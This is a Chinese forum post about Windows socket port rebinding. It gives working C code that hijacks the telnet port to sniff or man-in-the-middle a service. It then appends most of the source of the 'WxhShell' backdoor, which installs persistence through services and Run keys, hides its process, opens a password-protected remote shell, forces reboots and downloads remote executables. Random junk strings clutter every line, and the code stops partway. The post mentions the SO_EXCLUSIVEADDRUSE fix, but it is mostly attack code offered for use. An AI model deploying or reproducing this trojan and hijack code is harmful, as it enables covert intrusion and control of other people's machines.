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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]H ze  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,]A|z ~q  
UE:';(t  
  saddr.sin_family = AF_INET; |p4D!M+$7  
bl8zcpdL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +JyD W%a:L  
T\ixS-%^  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XH^X4W  
\fX0&l;T9\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K1S:P( S  
r;>2L'  
  这意味着什么?意味着可以进行如下的攻击: xIOYwVC  
%Aqt0e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :6}Zo  
Q9Tt3h2ga  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) = aO1uC|6C  
mP!=&u fcU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kGz0`8U Ru  
Ox| ?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !hMD>B2Z  
eo#2n8I>=1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a ~  
!?AgAsSmc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V-1H(wRu  
5|nT5oS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4q9+a7@  
Yz%AKp  
  #include c0 I;8z`b  
  #include &ikPa,A  
  #include e8Ul^]  
  #include    U z*7J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0|Rt[qwKb@  
  int main() EgE% NY~  
  { 'P AIh*qA  
  WORD wVersionRequested; !6` pq  
  DWORD ret; n]%T>\gw  
  WSADATA wsaData; 4Nb&(p  
  BOOL val; "YC5viX  
  SOCKADDR_IN saddr; =,MX%-2  
  SOCKADDR_IN scaddr; 8;%F-?  
  int err; jDO"?@+  
  SOCKET s; [:hTwBRF  
  SOCKET sc; sKg IKYG}T  
  int caddsize; 4](jV}Hg  
  HANDLE mt; =&_Y=>rA]0  
  DWORD tid;   A$JL"~R  
  wVersionRequested = MAKEWORD( 2, 2 ); \!51I./Q/  
  err = WSAStartup( wVersionRequested, &wsaData ); iBqxz:PHN(  
  if ( err != 0 ) { c"wk_ #  
  printf("error!WSAStartup failed!\n"); l:@`.'-=  
  return -1; 0: 1[F!]'b  
  } &c AFKYt  
  saddr.sin_family = AF_INET; EDDld6O,  
   ;bYpMcH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hL?"!  
[-5l=j r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  ~ERA  
  saddr.sin_port = htons(23); &06pUp iS  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r_"=DLx6  
  { bMA\_?  
  printf("error!socket failed!\n"); U } K]W>Z  
  return -1; G?,b51"  
  } <MQTOz oj  
  val = TRUE; pdw;SIoC  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |//D|-2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vk jHh.  
  { FQlYCb  
  printf("error!setsockopt failed!\n"); -$2B!#]3  
  return -1; e{Y8m Xu  
  } *3!#W|#=]N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9K:ICXm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x/d(" Bb  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rOo |.4w  
-"CXBKHb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2lu AF2  
  { %a=^T?8  
  ret=GetLastError(); it.'.aK4  
  printf("error!bind failed!\n"); V [#$Sz[G  
  return -1; 8[B0[2O  
  } BO%aCK&  
  listen(s,2); ?qmJJ5Gn  
  while(1) kSfNu{YS  
  { 1sIPhOIys  
  caddsize = sizeof(scaddr); qS!U1R?s  
  //接受连接请求 fG,)`[eD!_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Dk^T_7{  
  if(sc!=INVALID_SOCKET) }8LTYn  
  { gucgNpX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KsDovy<  
  if(mt==NULL) y5/LH~&Ov  
  { Hp(wR'(g&  
  printf("Thread Creat Failed!\n"); NY3/mS3w  
  break; bH Nf>  
  } >(\Z-I&YQ  
  } lc(}[Z/|V  
  CloseHandle(mt); Gl6M(<f\5  
  } (7 O?NS  
  closesocket(s); 8-s7s!j  
  WSACleanup(); G_E \p%L>]  
  return 0; "nA~/t=  
  }   3%(BZ23  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?ZAynZF|#  
  { 4XNdsb  
  SOCKET ss = (SOCKET)lpParam; &Cm$%3  
  SOCKET sc; %jh gKq  
  unsigned char buf[4096]; [Te"|K':  
  SOCKADDR_IN saddr; \Gm\sy  
  long num; 2uzy]faM  
  DWORD val; >$:_M*5  
  DWORD ret; O$(#gB'B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QB<~+d W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M\D25=(  
  saddr.sin_family = AF_INET; TMG|"|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8D&yFal  
  saddr.sin_port = htons(23); SH5a&OVZhn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d",VOhW7)S  
  { DEQ7u`6  
  printf("error!socket failed!\n"); j2`%sBo  
  return -1; .L8g( F(=:  
  } L #`Vr$  
  val = 100; ?BnX<dbi&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uwc@~=;  
  { =5q_aK#i  
  ret = GetLastError(); W690N&Wz  
  return -1; K# kMz#B+i  
  } _-:CU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .!)i    
  { pnp)- a*7  
  ret = GetLastError(); ZkmY pi[  
  return -1; ^ 0g!,L  
  } 2rWPqG4e  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D$fWeG{f  
  { #By~gcN  
  printf("error!socket connect failed!\n"); B'hN3.  
  closesocket(sc); D}OhmOu 3  
  closesocket(ss); Zo#c[9IaC  
  return -1; |.?X ov]  
  } Y<;KKD5P'j  
  while(1) K)#6&\0tT  
  { %cl{J_}{&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "Ky&x$dje  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Vs9]Gm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :NynNu'  
  num = recv(ss,buf,4096,0); B4eV$~<  
  if(num>0) PB;j4  
  send(sc,buf,num,0); Zq{TY)PI]  
  else if(num==0) NJmyp!8  
  break; >)edha*W]  
  num = recv(sc,buf,4096,0); "V <WC"  
  if(num>0)  NArr2o2  
  send(ss,buf,num,0); xp F(de  
  else if(num==0) W.^R/s8O%5  
  break; T-y5U},  
  } P*/ig0_fM  
  closesocket(ss); ^[.Z~>3!\q  
  closesocket(sc); =\IUBH+C  
  return 0 ; ]VoJ7LoCZ'  
  } M~ g{}_ 0Z  
jE2EoQ i,  
J]5ZWo%  
========================================================== ke2}@|?t  
qoSZ+ khS$  
下边附上一个代码,,WXhSHELL 'iX y?l  
iZE7 B7K  
========================================================== gTk*v0WBm  
/Q2HN(Y  
#include "stdafx.h" V)c.AX5  
nq:'jdY5|  
#include <stdio.h> ;{1  ws  
#include <string.h> T'-kG"lb  
#include <windows.h> (s,u9vj=>L  
#include <winsock2.h> $msf~M*  
#include <winsvc.h> br')%f}m  
#include <urlmon.h> ri h@(;)1  
=kb/4eRg  
#pragma comment (lib, "Ws2_32.lib") ]<k+a-Tt  
#pragma comment (lib, "urlmon.lib") XblZlWP#  
&#;lmYyaui  
#define MAX_USER   100 // 最大客户端连接数 wPvYnhr|G-  
#define BUF_SOCK   200 // sock buffer %']`t-N8  
#define KEY_BUFF   255 // 输入 buffer .>NPgd I  
NBD1k;  
#define REBOOT     0   // 重启 p7Z/%~0v:  
#define SHUTDOWN   1   // 关机 5z Pn-1uW  
z{nd4qOsD  
#define DEF_PORT   5000 // 监听端口 7!JBF{,=  
Pv\-D<&@m  
#define REG_LEN     16   // 注册表键长度 Lj1>X2.gD  
#define SVC_LEN     80   // NT服务名长度 ,S?M;n?z_  
]Y3s5#n  
// 从dll定义API jZ0/@zOf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^qNZ!V4T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,|?rt`8)Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _VJG@>F9-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c@ lH  
[Uw3.CVh  
// wxhshell配置信息 Mo]  
struct WSCFG { DpIk$X  
  int ws_port;         // 监听端口 a6'T]DW0W  
  char ws_passstr[REG_LEN]; // 口令 V U~r~  
  int ws_autoins;       // 安装标记, 1=yes 0=no  #zg"E<  
  char ws_regname[REG_LEN]; // 注册表键名 FO)`&s"&2  
  char ws_svcname[REG_LEN]; // 服务名 ?>q5Abp[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F6Q nz8|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yc0_ 7Im?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WQv`%%G2>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3aFD*S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" > QK"r7f/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  g:?p/L  
_+d*ljP)l3  
}; xzBUm  
Qb@i_SX(fs  
// default Wxhshell configuration ^4=%~Yx  
struct WSCFG wscfg={DEF_PORT, C;m*0#9D  
    "xuhuanlingzhe", ]~9YRVeC  
    1, S5e"}.]|  
    "Wxhshell", \vgM`32<  
    "Wxhshell", [E0.4FLT!  
            "WxhShell Service", R0T{9,;[`  
    "Wrsky Windows CmdShell Service", Sz>Lbs  
    "Please Input Your Password: ", Hli22~7T:  
  1, Hx NoV.q  
  "http://www.wrsky.com/wxhshell.exe", !Aw.)<teW  
  "Wxhshell.exe" R T/)<RT9  
    }; SA{5A 1  
ddw^oU  
// 消息定义模块 I~ e,']  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B>%;"OMp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sfs2kiH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^=y%s  
char *msg_ws_ext="\n\rExit."; j"n"=rTTQ  
char *msg_ws_end="\n\rQuit."; {Z#=ppvs  
char *msg_ws_boot="\n\rReboot..."; "B0I$`~wu  
char *msg_ws_poff="\n\rShutdown..."; \I7,1I  
char *msg_ws_down="\n\rSave to "; n4o}}tI  
2I{kLN1TY  
char *msg_ws_err="\n\rErr!"; m:c .dei5  
char *msg_ws_ok="\n\rOK!"; +O@|bd \  
$t.M `:G  
char ExeFile[MAX_PATH]; Zo@  
int nUser = 0; N]&:xd5  
HANDLE handles[MAX_USER]; 98lz2d/Fcq  
int OsIsNt; n7L|XkaQ  
j5G=ZI86y  
SERVICE_STATUS       serviceStatus; [p_<`gU?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mJ+mTA5bW  
=}2k+v-B  
// 函数声明 @j=rS S  
int Install(void); /.Jq]"   
int Uninstall(void); f}7/UGd  
int DownloadFile(char *sURL, SOCKET wsh); 9S8V`aC  
int Boot(int flag); w/@ tH  
void HideProc(void); *V{Y.`\  
int GetOsVer(void); KB8_yo{y  
int Wxhshell(SOCKET wsl); "8/BVW^bv  
void TalkWithClient(void *cs); uuYeXI;  
int CmdShell(SOCKET sock); i)7B :uA  
int StartFromService(void); #dkSAS  
int StartWxhshell(LPSTR lpCmdLine); m=V69 a#  
15M!erT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b ; U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +Os9}uKf  
t<MO~_`!  
// 数据结构和表定义 bCV_jR+  
SERVICE_TABLE_ENTRY DispatchTable[] = NB3ar&.$S  
{ W('V2Z-q  
{wscfg.ws_svcname, NTServiceMain}, #^xj"}o@  
{NULL, NULL} w6|l ~.$=  
}; Jn"ya^~  
6Tsi^((Li  
// 自我安装 \%QA)T%  
int Install(void) kn}bb*eZ  
{ f s2}a  
  char svExeFile[MAX_PATH]; N V`=T?1[5  
  HKEY key; r>J%Eu/O  
  strcpy(svExeFile,ExeFile); N$M:&m3^  
nT=XWM  
// 如果是win9x系统,修改注册表设为自启动 ~xf uq{L;  
if(!OsIsNt) { 8@7leAq!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 83_vo0@<6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C9n*?Mk:  
  RegCloseKey(key); a2B9 .;F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EOo,olklC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oT"7O 5v  
  RegCloseKey(key); DUb8 HgcV}  
  return 0; co{i~['u  
    } op61-:q/  
  } 6yd?xeD  
} vPD%5 AJN  
else { H Em XB=  
Wcki=ac\v!  
// 如果是NT以上系统,安装为系统服务 x| r#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;:'ABfs  
if (schSCManager!=0) j9&x# U  
{ @s|yH"  
  SC_HANDLE schService = CreateService 0](V@F"~  
  ( 3z -="_p  
  schSCManager, t!o=-k  
  wscfg.ws_svcname, K9) |b`E=  
  wscfg.ws_svcdisp, d)L,kzN  
  SERVICE_ALL_ACCESS, bZu2.?{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , tkW7wP;  
  SERVICE_AUTO_START, 9 !s)52qt  
  SERVICE_ERROR_NORMAL, |l:,EA_v|  
  svExeFile, fHXz{,?/w  
  NULL, p%IVWeZnx  
  NULL, 9b)'vr*Hy7  
  NULL, fk\hrVP  
  NULL, {VKP&{~O  
  NULL fr8hT(,s)  
  ); Tfw5i,{  
  if (schService!=0) cQ(,M  
  { o_cAelI[!  
  CloseServiceHandle(schService); U3t) yr h  
  CloseServiceHandle(schSCManager); ,soXX_Y>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /@@?0xjX  
  strcat(svExeFile,wscfg.ws_svcname); \omfWWpK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BQ(sjJ$v6F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M4E==  
  RegCloseKey(key); HjZf3VwI  
  return 0; j<}y(~  
    } /l;_ xs  
  } )u]1j@Id  
  CloseServiceHandle(schSCManager); #=#bv`  
} 7x.] 9J  
} UD_8#DO{m1  
$LOf2kn  
return 1; g|5cO3m0'  
} '%*/iH6<U{  
/~P4<1  
// 自我卸载 L\\'n )  
int Uninstall(void)  ja^  
{ 6<No_x |_  
  HKEY key; 9eEA80i7  
ET\rd5Po  
if(!OsIsNt) { ;upYam"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T 2Gscey  
  RegDeleteValue(key,wscfg.ws_regname); pXK-,7-  
  RegCloseKey(key); (} Y|^uM,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `$yi18F  
  RegDeleteValue(key,wscfg.ws_regname); GSVLZF'+  
  RegCloseKey(key); *ch7z|wo.  
  return 0; G@rV9  
  } #|F5Kh"  
} rvPmd%nk-  
} VEBvS>i*  
else { u\u6< [>P  
Gg6<4T1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vue=K  
if (schSCManager!=0) LNM#\fb  
{ z 9~|Su  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "` kSI&2  
  if (schService!=0) ?y,z  
  { {r:5\  
  if(DeleteService(schService)!=0) { lLN5***47J  
  CloseServiceHandle(schService); [y(<1]i-a  
  CloseServiceHandle(schSCManager); T)MZ`dM  
  return 0; N`+@_.iBX  
  } )No>Q :t  
  CloseServiceHandle(schService); 7|X.E  
  } 4']eJ==OH  
  CloseServiceHandle(schSCManager); 7&1 dr  
} z W*Z  
} ,b74 m  
YeB)]$'?u`  
return 1; /,JL \b  
} 8!qzG4F/  
!uAqY\Is  
// 从指定url下载文件 nI,-ftMD-|  
int DownloadFile(char *sURL, SOCKET wsh) W&e}*  
{ dQ_yb+<  
  HRESULT hr; eV(   
char seps[]= "/"; 4*?i!<N9  
char *token; a4Y43n  
char *file; Og2G0sWRf  
char myURL[MAX_PATH]; }nMp.7b  
char myFILE[MAX_PATH]; d+%Rg\ v  
t ]P^6jw'  
strcpy(myURL,sURL); e?fA3Fug  
  token=strtok(myURL,seps); D()tP  
  while(token!=NULL) !0Eo9bU%@  
  { (gb vInZ  
    file=token; W!)B%.Q  
  token=strtok(NULL,seps); tWA<OOl  
  } (`&E^t  
"$e p=h+  
GetCurrentDirectory(MAX_PATH,myFILE); }=s64O 9j  
strcat(myFILE, "\\"); \)2~o N  
strcat(myFILE, file); lj@ ibA]  
  send(wsh,myFILE,strlen(myFILE),0); kw5`KfG9  
send(wsh,"...",3,0); Dj'+,{7,u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @H8CU!J  
  if(hr==S_OK) cR!Mn$m  
return 0; %D E_kwL  
else (gF{S* `  
return 1; @^,9O92l  
SD]rYIu+  
} rl:D>t(:.  
eI=:z/pd  
// 系统电源模块 R|-!5J4h  
int Boot(int flag) \  6 : 7  
{ M6z$*? <  
  HANDLE hToken; Imz1"+E~  
  TOKEN_PRIVILEGES tkp; C ,#D4  
sdXZsQw  
  if(OsIsNt) { \Z$MH`_nu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NkYC(;g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2 t:CK  
    tkp.PrivilegeCount = 1; aThvq%;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %VwkYAgA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z1R{'@Y0Z  
if(flag==REBOOT) { 9bu1Ax1M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aU%QJ#j  
  return 0; ,`ju(ac!  
} {@ Z%6%'9  
else { *&$2us0%%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b2UqN]{  
  return 0; epxbTJfc  
} Sj@VOW  
  } Sv[$.^mb  
  else { S=g E'"LT  
if(flag==REBOOT) { }/}eZCaG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y:,m(P  
  return 0;  u'qc=5  
} jl,>0 MA  
else { !_+ok$"d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &6\f;T4  
  return 0; ?5rM'O2  
} TQ25"bWi  
} 0EBHR Y_F  
eD0|6P;Ei  
return 1; 8eD/9PD=F  
} @~`:sa+H  
0 1:(QJ  
// win9x进程隐藏模块 <& iLMb:%  
void HideProc(void) F3&:KZ!V&m  
{ TJz} 8-#t  
$(&+NJ$U$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }Ih5`$   
  if ( hKernel != NULL ) 30Udba+{]p  
  { 2R~[B]2"r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (n4Uc308  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &f<Ltdw  
    FreeLibrary(hKernel); &-p!Lg&D  
  } `l+9g"q  
7nk3^$|  
return; j:xm>X'  
} uF<\|y rFt  
YL9Tsw  
// 获取操作系统版本 XrN]}S$N  
int GetOsVer(void) vfOG(EkG.?  
{ T,5(JP(h3  
  OSVERSIONINFO winfo; `k~w 14~w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?/^{sW' |  
  GetVersionEx(&winfo); ad`=A V]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jek3K&  
  return 1; |#x]/AXa0/  
  else # &Z1d(!  
  return 0; A5%cgr% 6  
} xZ>@wBQ  
0<42\ya  
// 客户端句柄模块 gutf[Ksu  
int Wxhshell(SOCKET wsl) 'Ad|*~  
{ %p tw=Ju  
  SOCKET wsh; :0(:}V3z\  
  struct sockaddr_in client; CC XOxd  
  DWORD myID; ;-!O+c  
-ei+r#  
  while(nUser<MAX_USER) [<IJ{yfx  
{ L?r\J8Ch<  
  int nSize=sizeof(client); p@%H. 5&&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  Y$nI9  
  if(wsh==INVALID_SOCKET) return 1; . /~#  
qaEWK0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )/uCdSDIc  
if(handles[nUser]==0) 2[5z6oG  
  closesocket(wsh); trM)&aQto  
else }Fb966 $  
  nUser++; E9:p A5H-j  
  } }!@X(S!do  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tnFhL&  
^1`T_+#[s  
  return 0; jn#Ok@tZ  
} n /Dk~Q)  
`g:bvIV5x>  
// 关闭 socket 8|-064i>  
void CloseIt(SOCKET wsh) 95 oh}c  
{ d6{0[T^L  
closesocket(wsh); y\}<N6  
nUser--; l#;o^H i  
ExitThread(0); @rxfOc0J#  
} r9$7P?zm  
,=y8[(h  
// 客户端请求句柄 m'5rzZP  
void TalkWithClient(void *cs) 6|ENDd[  
{ l&6+ykQ  
tk'3Q1L  
  SOCKET wsh=(SOCKET)cs; G?v]|wdI  
  char pwd[SVC_LEN]; BH^8!7dkT  
  char cmd[KEY_BUFF]; e7JZk6GP#9  
char chr[1]; s78V\Vw3  
int i,j; y<n<uZ;  
ej{7)#  
  while (nUser < MAX_USER) { Nj;G%KAP  
7"$9js2  
if(wscfg.ws_passstr) { 21.N+H'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); za [;d4<}k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % !p/r`  
  //ZeroMemory(pwd,KEY_BUFF); {b90c'8?a  
      i=0; i-31Cxb  
  while(i<SVC_LEN) { 8ubb~B;  
:qO)^~x  
  // 设置超时 =.f<"P51k  
  fd_set FdRead; cK H By  
  struct timeval TimeOut; O - N> X  
  FD_ZERO(&FdRead); =-8y =  
  FD_SET(wsh,&FdRead); ) GF>]|CG  
  TimeOut.tv_sec=8; Dp" xO<PE2  
  TimeOut.tv_usec=0; eHH qm^1z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (vr v-4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cO/.(KBF  
R*z:+p}oHy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zqAp7:  
  pwd=chr[0]; ~Is-^k)y  
  if(chr[0]==0xd || chr[0]==0xa) { s+E-M=d0e  
  pwd=0; #;9n_)  
  break; n%}Vd `c  
  } _,5)  
  i++; ?)'+l   
    } =%$BFg1a(  
S`Wau/7t  
  // 如果是非法用户,关闭 socket 50^T \u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -MT.qhx  
} 3hbUus  
]^?V8*zL]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b1frAA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^+q4*X6VB  
Z<n%~z^  
while(1) { o9L$B  
u4;#~##  
  ZeroMemory(cmd,KEY_BUFF); {_1zIt|  
TrC :CL  
      // 自动支持客户端 telnet标准   7T-}oNaJA\  
  j=0; Wf!<Qot|R#  
  while(j<KEY_BUFF) { d@,3P)?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &P3ep[]j  
  cmd[j]=chr[0]; Y"Y+U`Qt  
  if(chr[0]==0xa || chr[0]==0xd) { Pg/$ N5->  
  cmd[j]=0; zoI0oA  
  break; 9Z;"9$+M  
  } QX&1BKqWn  
  j++; coFQu ; i  
    } osW"b"_f  
agMI$  
  // 下载文件 ;,F:.<P  
  if(strstr(cmd,"http://")) { g7nqe~`{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6qzyeli  
  if(DownloadFile(cmd,wsh)) ql c{k/ u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =pR'XF%  
  else k&8&D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]0&ExD\4  
  } Uv"O'Z  
  else { @8xa"Dc  
W! q-WU  
    switch(cmd[0]) { 8.R~Ys*  
  u+/1ryp  
  // 帮助 sFWH*k dP?  
  case '?': { ,I|TjC5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YsXf+_._  
    break; @2Ca]2,4  
  } ]^ "BLbDZ@  
  // 安装 NY!"?Zko  
  case 'i': { ,.T k "\@  
    if(Install()) [n{c,U F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *^b<CZd9  
    else ;fnE"}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "=ogO/_Q"  
    break; 8{ iFxTz  
    } { WW!P,w  
  // 卸载 3D/<R|p  
  case 'r': { FR9*WI   
    if(Uninstall()) U6Ws#e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #_}r)q  
    else {u,yX@F4l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zn9ecN  
    break; {&Es3+{A  
    } o\7q!  
  // 显示 wxhshell 所在路径 nt*nTtcE  
  case 'p': { <fm0B3i?  
    char svExeFile[MAX_PATH]; ]iL>Zxex  
    strcpy(svExeFile,"\n\r"); *dE5yS`H  
      strcat(svExeFile,ExeFile); :UdH}u!Ek  
        send(wsh,svExeFile,strlen(svExeFile),0); YoEL|r|  
    break; L-\o zp  
    } 1ZK~i  
  // 重启 sLh %k  
  case 'b': { ); <Le6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _onEXrM  
    if(Boot(REBOOT)) ]t|-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xIh,UW#  
    else { T nG=X:+=  
    closesocket(wsh); KeiPo KhZi  
    ExitThread(0); K!a4>Du{  
    } xp<p(y8e1d  
    break; DeTD.)pS  
    } &z"sT*3  
  // 关机 loPBHoE3@H  
  case 'd': { ~'aK[3  
